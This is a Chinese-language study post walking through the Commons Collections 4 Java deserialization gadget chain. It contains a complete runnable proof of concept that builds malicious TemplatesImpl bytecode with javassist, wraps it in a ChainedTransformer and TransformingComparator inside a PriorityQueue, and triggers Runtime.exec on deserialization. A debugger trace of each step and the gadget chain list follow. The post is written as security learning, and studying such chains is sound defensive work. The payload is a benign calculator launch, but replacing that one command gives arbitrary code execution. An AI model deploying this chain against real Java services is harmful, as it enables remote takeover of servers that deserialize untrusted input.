CommonsCollection4反序列化鏈學習
CommonsCollection4
1、前置知識
由於cc4沒有新的知識點,主要是用cc2,然後稍微cc3結合了,所以我們可以看ysoserial原始碼,自己嘗試構造一下,把cc2通過獲取InvokeTransformer()獲取templatesImpl的newtransformer()方法,改成用cc3的InstantiateTransformer初始化。那就把跟cc2不同的程式碼學習下。
1.1、transformingComparator
與cc2最大的不容就是transformingComparator的構造方式不同,這裡是通過獲取InstantiateTransformer例項化TrAXFilter並且把templatesImpl惡意類傳入,其實就是InstantiateTransformer(templateImpl).transform(TrAXFilter)
Transformer[] transformers=new Transformer[]{ new ConstantTransformer(TrAXFilter.class),//第一個獲取TrAXFilter new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})//通過InstantiateTransformer的構造方法傳入我們的惡意類templatesImpl,呼叫其transform方法,例項化傳入的TrAXFilter,呼叫其構造方法。再呼叫newTransform }; ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);//新建一個ChainedTransformer類,傳入我們的惡意transformers,只要呼叫transform方法就會反射執行我們的傳入的惡意傳入我們的惡意transformers TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);
2、PoC分析
2.1、Poc
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InstantiateTransformer; import org.apache.commons.collections4.functors.InvokerTransformer; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field; import java.util.PriorityQueue; public class CommonsCollection4 { public static void main(String[] args) throws Exception { String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; ClassPool classPool=ClassPool.getDefault();//返回預設的類池 classPool.appendClassPath(AbstractTranslet);//新增AbstractTranslet的搜尋路徑 CtClass payload=classPool.makeClass("com/akkacloud/CommonsCollection2Test");//建立一個新的public類 payload.setSuperclass(classPool.get(AbstractTranslet)); //設定前面建立的CommonsCollections22222222222類的父類為AbstractTranslet payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");"); //建立一個空的類初始化,設定建構函式主體為runtime //payload.writeFile("/Users/akka/Documents/study/JAVA-project/ysoserial/CommonsColection2/src/main/java"); byte[] bytes=payload.toBytecode();//轉換為byte陣列 //String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射建立TemplatesImpl Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射獲取templatesImpl的_bytecodes欄位 field.setAccessible(true);//暴力反射 field.set(templatesImpl,new byte[][]{bytes});//將templatesImpl上的_bytecodes欄位設定為runtime的byte陣列 Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射獲取templatesImpl的_name欄位 field1.setAccessible(true);//暴力反射 field1.set(templatesImpl,"test");//將templatesImpl上的_name欄位設定為test /* Method getTransletName = templatesImpl.getClass().getDeclaredMethod("getTransletName", new Class[]{}); getTransletName.setAccessible(true); Object name = getTransletName.invoke(templatesImpl, new Object[]{}); System.out.println(name.toString()); Method getTransletBytecodes = templatesImpl.getClass().getDeclaredMethod("getTransletBytecodes", new Class[]{}); getTransletBytecodes.setAccessible(true); byte[][] bytes1 = (byte[][]) getTransletBytecodes.invoke(templatesImpl, new Object[]{}); for (int i = 0; i < bytes1.length; i++) { System.out.println(bytes1.length); System.out.println(Arrays.toString(bytes1[i])); }*/ Transformer[] transformers=new Transformer[]{ new ConstantTransformer(TrAXFilter.class),//第一個獲取TrAXFilter new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})//通過InstantiateTransformer的構造方法傳入我們的惡意類templatesImpl,呼叫其transform方法,例項化傳入的TrAXFilter,呼叫其構造方法。再呼叫newTransform }; ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);//新建一個ChainedTransformer類,傳入我們的惡意transformers,只要呼叫transform方法就會反射執行我們的傳入的惡意傳入我們的惡意transformers TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer); PriorityQueue priorityQueue = new PriorityQueue(2);//使用指定的初始容量建立一個 PriorityQueue,並根據其自然順序對元素進行排序。 priorityQueue.add(1);//新增數字1插入此優先順序佇列 priorityQueue.add(1);//新增數字1插入此優先順序佇列 Field field2=priorityQueue.getClass().getDeclaredField("comparator");//獲取PriorityQueue的comparator欄位 field2.setAccessible(true);//暴力反射 field2.set(priorityQueue,transformingComparator);//設定priorityQueue的comparator屬性值為transformingComparator ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.ser")); outputStream.writeObject(priorityQueue); outputStream.close(); ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.ser")); inputStream.readObject(); } }
2.2、poc除錯
在PriorityQueue的readObject打斷點,發現佇列內就是兩個數字,進入heapify()
因為在poc中我們沒對queue欄位賦值,所以queue裡面就是兩個數字,繼續跟入siteDown()
發現x就是queue為空,與cc2此時的x為templatImpl,繼續進入siftDownUsingComparator
進入發現,通過comparator.compare(),這個comparator就是我們的惡意TransformingComparator
進入發現TransformingComparator的compare方法裡,用this.transformer呼叫了transform方法,此時的this.transformer是我們傳入的ChainedTransformer,鏈式呼叫transform
進入後看到第一個是ConstantTransformer,繼續跟進transform方法
返回我們一開始構造的TrAXFilter.class
第二遍是進入InstantiateTransformer ,object為我們上次迴圈獲取TrAXFilter.class.繼續跟進transform()
這個transform就是例項化傳入的object既TrAXFilter,而且傳入的引數值為我們一起開始建立的惡意載入位元組類TransformerImpl
進入TrAXFilter的構造方法,傳入的TransformerImpl被賦值給了templates,templates呼叫newTransformer方法,繼續跟進
TransformerImpl的newTransformer方法,會呼叫本類的getTransletInstance方法,繼續跟進
發現會繼續呼叫defineTransletClasses(),繼續跟進
進入defineTransletClasses方法後發現,會把我們前面構造的_bytecodes[i]傳輸給_class[i],飯後返回到getTransletInstance方法
然後在getTransletInstance方法後,例項化我們傳入的_class[i]惡意類》TemplatesImpl》CommonsCollection2Test.
例項化就會呼叫我們一開始設定的靜態程式碼塊,造成RCE
2.3、利用鏈
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
...
TransformingComparator.compare()
InstantiateTransformer.transform()
Method.invoke()
Runtime.exec()
2.4、思維導圖
2.5、結束
cc4鏈還是比較簡單,我繼續每一步除錯的原因就是可以更好的複習前面學習的鏈